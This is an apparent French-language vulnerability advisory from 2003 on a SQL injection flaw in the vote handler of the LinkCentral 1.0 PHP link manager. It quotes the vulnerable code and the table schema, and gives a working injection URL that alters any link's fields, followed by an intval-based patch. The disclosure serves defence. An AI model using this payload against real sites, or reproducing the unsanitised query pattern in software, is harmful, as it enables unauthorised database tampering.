Link Central ************ Informations : °°°°°°°°°°°°°° Langage : PHP Version : 1.0 Website : http://ifeelweb.de/linkcentral/ Problème : Injection SQL Developpement : °°°°°°°°°°°°°°° LinkCentral est un gestionnaire de liens permettant de placer des liens dans des rubriques, de voter pour les liens, de commenter les liens, et de gérer le tout via une partie admin. Le code, dans index.php, permettant de voter pour un lien, peut permettre de l'injection SQL. Le voici : ---------------------------------------------------------------------------------------------------------------- [...] if (isset($rate_link)) { $sql->Update("UPDATE ". TBL_LNK ." SET rating = (rating + $new_rate) / 2 WHERE id = ". $id .""); $sql->Insert("INSERT INTO ". TBL_LCK ." (link, ip) VALUES (". $id .", '". $REMOTE_ADDR ."')"); $sql->Delete("DELETE FROM ". TBL_LCK ." WHERE UNIX_TIMESTAMP(time)+$lock_secs < UNIX_TIMESTAMP()"); $status = $print[thanks_for_vote]; eval("\$content = \"".template("redirect")."\";"); eval("echo \"".template("base")."\";"); exit; } [...] ---------------------------------------------------------------------------------------------------------------- On voit la requête suivante : UPDATE ". TBL_LNK ." SET rating = (rating + $new_rate) / 2 WHERE id = ". $id ." Si on tape l'url : http://[website]/index.php?rate_link=1&new_rate=4&id=7, on vote et on donne 4 sur 5 au lien numéro 7. On peut voir dans le fichier /admin/_inc/functions.inc.php la structure de la table, grâce à la requête de création : ----------------------------------------------------------- function create_tables() { global $sql; $t1 = mysql_query(" CREATE TABLE ". TBL_LNK ." ( id int(11) NOT NULL auto_increment, title varchar(150) NOT NULL default '', url varchar(150) NOT NULL default '', description text NOT NULL, sub smallint(6) NOT NULL default '0', rating float(4,2) NOT NULL default '0', pos int(11) NOT NULL default '1', target tinyint(4) NOT NULL default '1', activ tinyint(4) NOT NULL default '1', saved int(11) default NULL, PRIMARY KEY (id) ) TYPE=MyISAM "); ----------------------------------------------------------- Maintenant imaginons que l'on donne à $new_rate la valeur : 5 ) / 2 , title=char(97,98,99) WHERE id = 7/* via l'url : http://[target]/index.php?rate_link=1&new_rate=5%20)%20/%202%20,%20title=char(97,98,99)%20WHERE%20id%20=%207/*&id=5 Dans ce cas la requête executée deviendra : ----------------------------------------------------------------------------------------------------------- UPDATE ". TBL_LNK ." SET rating = (rating + 5 ) / 2 , title=char(97,98,99) WHERE id = 7/*) / 2 WHERE id = 5 ----------------------------------------------------------------------------------------------------------- et en plus d'ajouter un vote au lien numéro 7, on changera son titre en "abc" ( char(97,98,99) représente "abc"). On peut dès lors changer n'importe quel champ de n'importe quel lien dans la table TBL_LNK. Solution : °°°°°°°°°° Un patch est disponible sur http://www.phpsecure.info. Ajouter juste après la ligne : ------------------------ if (isset($rate_link)) { ------------------------ les lignes : ------------------------------------------------------------------------ if ( ($new_rate != intval($new_rate)) OR ($id != intval($id)) ){ die("This hole has been patched."); } ------------------------------------------------------------------------ qui vérifient que les variables $new_rate et $id ne contiennent que des chiffres. Credits : °°°°°°°°° Auteur : frog-m@n E-mail : leseulfrog@hotmail.com Website : http://www.phpsecure.info Date : 27/08/03